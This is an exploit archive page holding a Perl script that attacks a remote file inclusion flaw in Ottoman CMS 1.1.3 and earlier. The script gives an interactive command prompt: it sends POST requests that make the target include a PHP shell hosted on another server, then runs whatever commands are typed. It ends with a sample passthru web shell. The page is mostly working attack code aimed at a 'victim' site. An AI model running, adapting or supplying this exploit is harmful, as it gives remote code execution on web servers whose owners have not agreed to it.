exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ottoman-sploit.txt

ottoman-sploit.txt
Posted Jul 12, 2006
Authored by Jacek Wlodarczyk

Ottoman CMS versions 1.1.3 and below remote file inclusion exploit.

tags | exploit, remote, file inclusion
SHA-256 | d14b55cf733c347883249ed68cf5e87f8e518603ebf7afad2707ad33baa27d2f

ottoman-sploit.txt

Change Mirror Download
#!/usr/bin/perl
use IO::Socket;


################################################################################
# #
# Jacek Wlodarczyk (j4ck) - jacekwlo[at]gmail[dot]com #
# #
################################################################################




#Title: Ottoman CMS <= 1.1.3 Remote File Inclusion Exploit
#Application: Ottoman Content Management System
#Version: 1.1.3 and prior
#Url: http://www.lowter.com/p/ottoman



#Affected software description:

#Input passed to the "default_path" parameter in "index.php", "error.php", "classes/main_class.php", "format_css.php", "js.php",
#and "rss.php" is not properly sanitized before being used to include files.
#Vulnerable scripts not properly sanitizing user-supplied input to the 'POST' and 'COOKIE' variables.
#This can be exploited to execute arbitrary PHP code by including files from local or external resources.
#Exploitation requires turn ON "register_globals"

#PoC Exploit (POST method):



if (@ARGV ne 4)
{
&usage;
}


sub usage()
{
print "\r\n (c) Jacek Wlodarczyk (j4ck)\r\n\r\n";
print "- Exploit for Ottoman CMS <= 1.1.3\r\n\r\n";
print "- Usage: $0 <target> <script location> <shell location> <shell variable>\r\n";
print "- <target> -> Victim's target eg: http://www.victim.com\r\n";
print "- <script location> -> Path to script eg: /ottoman/error.php\r\n";
print "- <cmd shell location> -> eg: http://www.site.com/sh_dir/\r\n";
print "- <cmd shell variable> -> eg: cmd\r\n\r\n";
print "- Eg: http://127.0.0.1 /ottoman_v1.1.3/index.php http://10.0.0.10/sh_dir/ cmd\r\n\r\n";
exit();
}




$HOST = $ARGV[0];
$DIR = $ARGV[1];
$INC_FILE = $ARGV[2];
$CMD = $ARGV[3];
$COMMAND = '';

print "\r\nATTACKING : ".$HOST.$DIR."\r\n\r\n";
$HOST =~ s/(http:\/\/)//;


while()
{

print "[shell] \$";
chomp($COMMAND = <STDIN>);
if ($COMMAND eq "q")
{
exit;
}

if (!$COMMAND)
{
print "\nPlease Enter a Command\n\n";
next;
}


$data="default_path=".$INC_FILE."&".$CMD."=".$COMMAND;
$post = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "Error 404\r\n\r\n";

print $post "POST ".$DIR." HTTP/1.1\r\n";
print $post "Host: ".$HOST."\r\n";
print $post "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\r\n";
print $post "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
print $post "Accept-Language: en-us;q=0.7,en;q=0.3\r\n";
print $post "Accept-Encoding: gzip,deflate\r\n";
print $post "Connection: Keep-Alive\r\n";
print $post "Keep-Alive: 300\r\n";
print $post "Cache-Control: no-cache\r\n";
print $post "Content-Type: application/x-www-form-urlencoded\r\n";
print $post "Content-Length: ".length($data)."\r\n";
print $post "Connection: close\r\n\r\n";
print $post $data."\r\n";





while ($ans = <$post>)
{
if ($ans =~ /404/ )
{
printf "\n\nFile ".$ARGV[1]." no exists.\r\n\r\n";
exit;
}
printf $ans;
}

}
exit;


#Shell example:

#config.php
#------cut---------------
#<?
#passthru($_POST['cmd']);
#?>
#------cut---------------


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close